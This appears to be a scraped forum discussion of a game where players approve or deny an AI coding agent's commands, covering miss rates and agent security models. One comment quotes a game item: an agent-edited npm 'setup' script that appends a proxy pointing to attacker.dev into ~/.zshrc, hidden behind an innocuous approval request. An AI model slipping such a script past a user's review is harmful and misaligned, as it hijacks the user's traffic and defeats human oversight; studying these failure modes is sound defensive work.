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Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

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Re: Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

#91
post #5

Earlier quoted context omitted.

I think it's partially for responsibility reasons. Your employee approved the bash call? not our fault then!

If a company advertised an LLM as perfectly safe and then it caused some damage, there would be a case against the company. Have you used LLM tooling? It comes with warnings and explains that the user accepts the risk. Different levels of warning are supplied for the different levels of autonomy you can enable. The user has to understand the risk as they enable it. This is not a new concept and it’s not an idea the L…

> This is not a new concept and it’s not an idea the LLM companies invented.

I don't recall any prior computer software working so badly that it needed a disclaimer like "Claude is AI and can make mistakes" on its front page. Let alone one so costly.

Re: Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

#92
post #74

Earlier quoted context omitted.

I suppose there would have to be a capability based model in conjunction with a user oversight model and a time model. https://en.wikipedia.org/wiki/Capability-based_security Thus some agents with higher capabilities can only be run with user oversight at the same time. Some agents can not be run during some part of the day - for example these agents can not run within two hours of office closing time, and cannot run…

A language that revives capabilities, brings them up-to-date, and works in the modern environment is my #1 request from the programming language community right now. I don't need another language with sum types and higher-order functions and a functional focus. I need a language with capabilities. That language may have the other goodies as well, sure, no problem, but we all need capabilities. I've done some stabby s…

Been working on something like that for years: https://www.firefly-lang.org/

Re: Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

#93

A couple of months ago I shared the AI agent permission game here on HN. After adding in stats it got a little over 40k plays and 409k decisions since then. It's just a game, but I found the stats still interesting that I wanted to share back. Even with the warning up front, 1 in 3 threats were missed, and the history log above npm run commands seems to be typically ignored. I also incorporated the feedback and insig…

In light of this game, Do you believe Human-in-the-loop should be the standard going forward? I appreciate you outlining some other techniques being used, but these seem focused on reducing human fatigue so the human can assess each permission request better, as opposed to autonomy and security. Or do you think the solution lies in the individual to be more responsible, like this is a skill we should be honing?

The goal of human-in-the-loop is to have someone liable for potential damages, rather than to prevent disasters.

Re: Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

#94

It's kinda funny there is still software coming out whose security model is "constantly ask the user for permission, and hope they never make a mistake". It's been tried so many times before, and it never worked.

I joined Oracle in 2012, and I myself complained that the user experience was horrible: get an Oracle DB installed was a nightmare, starting with so many questions. I heard complaints from other users about it requiring, during installation, that an admin password must be set. I myself had preferred to use MySQL because it was so simple and easy to get started and using it. Until I learned how many MySQL databases we…

Maybe it's distro specific but I'm fairly sure mysql by default installed with skip networking around 2012, and with bind-address set to localhost since then. Also the root user is only configured from local by default but I'm not sure if that was true 14 years ago.

If the defaults are more secure than your examples, it's not fair to blame the database or the defaults.

And personally I hate it when software forces security requirements on me. Maybe I don't need an admin password. It's one reason I gave up on selfhosted gitlab - there was no option to reduce password complexity for my users, and those users were only connecting from the local network. The other reason being that it spammed 100GB of logs in a month and was using 11GB of RAM before I'd even gotten around to setting up the first repo.

Re: Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

#95

A couple of months ago I shared the AI agent permission game here on HN. After adding in stats it got a little over 40k plays and 409k decisions since then. It's just a game, but I found the stats still interesting that I wanted to share back. Even with the warning up front, 1 in 3 threats were missed, and the history log above npm run commands seems to be typically ignored. I also incorporated the feedback and insig…

In light of this game, Do you believe Human-in-the-loop should be the standard going forward? I appreciate you outlining some other techniques being used, but these seem focused on reducing human fatigue so the human can assess each permission request better, as opposed to autonomy and security. Or do you think the solution lies in the individual to be more responsible, like this is a skill we should be honing?

It seems pretty obvious that the solution is auto mode (running a classifier on each action) + sandboxing

Re: Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

#96

It's kinda funny there is still software coming out whose security model is "constantly ask the user for permission, and hope they never make a mistake". It's been tried so many times before, and it never worked.

As opposed to the norm in computing where the average user is expected to just trust rando software, the AI auto-approver that classifies actions the agents wants to take is a huge step up.

In fact it might actually be the solution that works.

Imagine if an intelligent agent (in service of the user) had to approve every new outbound connection, system call shape, filesystem command, etc. that arbitrary software wanted to make.

Re: Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

#97
post #56

I remember when this game was posted here, and there was a lot of discussion at the time that some of the prompts were misleading about whether or not they were risky, some people were debating about how some of the prompts flagged as bad weren’t bad, and others flagged as not bad were. This is a fundamental flaw in the test, that makes the analysis of results meaningless. Also the game was on a timer, and maybe ther…

Yeah these results are useless when `npm run setup` is "dangerous" but then `npm run lint` somehow isn't. Not only do these tests lack context about the execution environment, they're straight up not even self-consistent.

I got caught on the `npm run setup` one too. I think the point is the context is shown earlier so it's trying to express that an agent can edit your package.json (which doesn't usually need approval as it's only a file edit) and then asks for your approval to pull the trigger to execute its edited script.

  * I'll run the project setup script to get everything configured.
    // package.json → scripts
    "setup": "npm install && echo 'export DEV_PROXY=http://attacker.dev' >> ~/.zshrc"

  Run bash command
  # Initializing the dev environment for a clean local install
  > npm run setup

Re: Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

#99
Sad state of affairs. At $day_job speed of delivery expectations are up due to LMMs. I presume that's a general sentiment. So more and more engineers around the world are pressing an enter key for yes over and over, mind and spirit only half there.

Re: Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

#100
post #21

Earlier quoted context omitted.

What would a serious security model for an agent even look like? I'm sure I've already got a dozen people reaching for the reply button, but slow down there, cowboy. I don't think it's even remotely as easy to define as people think. We have a reasonable concept of how to lock them down really tightly, no question, and I expect that most of the answers in the "leap to mind" category match that. But let's say we'd lik…

I cannot help with your actual but this is giving me mild ptsd flashbacks to everyone on hn/slashdot constantly repeating how simple and perfect unix security is, just use user accounts! As if the most valuable thing on my pc was running a program on the gpu or the printer as opposed to my email account.

On unix your email account is part of the filesystem.
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